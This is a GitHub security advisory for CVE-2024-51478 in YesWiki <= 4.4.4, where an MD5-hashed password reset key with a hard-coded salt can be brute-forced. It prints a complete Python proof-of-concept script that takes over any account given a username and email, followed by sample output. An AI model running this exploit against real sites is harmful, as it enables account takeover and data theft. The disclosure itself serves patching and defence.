Skip to content

YesWiki Uses a Broken or Risky Cryptographic Algorithm

High severity GitHub Reviewed Published Oct 31, 2024 in YesWiki/yeswiki • Updated Oct 31, 2024

Package

composer yeswiki/yeswiki (Composer)

Affected versions

<= 4.4.4

Patched versions

4.4.5

Description

Summary

The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details

Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

private const PW_SALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

protected function generateUserLink($user)
{
    // Generate the password recovery key
    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt.
If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC)

To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser

# Known data
salt = 'FBcA' # Hardcoded salt 
random_range = 10000  # Range for random_int()
WORKERS = 20 # Number of workers

# Arguments
def parseArgs():
    parser = ArgumentParser()
    parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
    parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
    parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
    return parser.parse_args()

# Reset password request and get timestamp  
def reset_password(email: str, domain: str):
    response = post(
        f'{domain}?MotDePassePerdu',
        data={
            'email': email, 
            'subStep': '1'
        },
        headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    )
    if response.ok:
        timestamp = datetime.now() # obtain the timestamp
        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
        print(f"[*] Requesting link for {email} at {timestamp}")
        return timestamp
    else:
        print("[-] Error while resetting password.")
        exit()

# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    user_base64 = b64encode(username.encode()).decode()
    data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = md5(data.encode()).hexdigest()
    url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
    # print(f"[*] Checking {url}")
    response = get(url)
    
    # Check if the link is valid, warning depending on the language
    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    # Launch the brute-force
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    args = parseArgs()
    timestamp_req = reset_password(args.email, args.domain)
    main(timestamp_req, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' 
[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact

Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation

The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.
For example, you can use random bytes instead of a random integer.

References

@mrflos mrflos published to YesWiki/yeswiki Oct 31, 2024
Published to the GitHub Advisory Database Oct 31, 2024
Reviewed Oct 31, 2024
Published by the National Vulnerability Database Oct 31, 2024
Last updated Oct 31, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-51478

GHSA ID

GHSA-4fvx-h823-38v3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.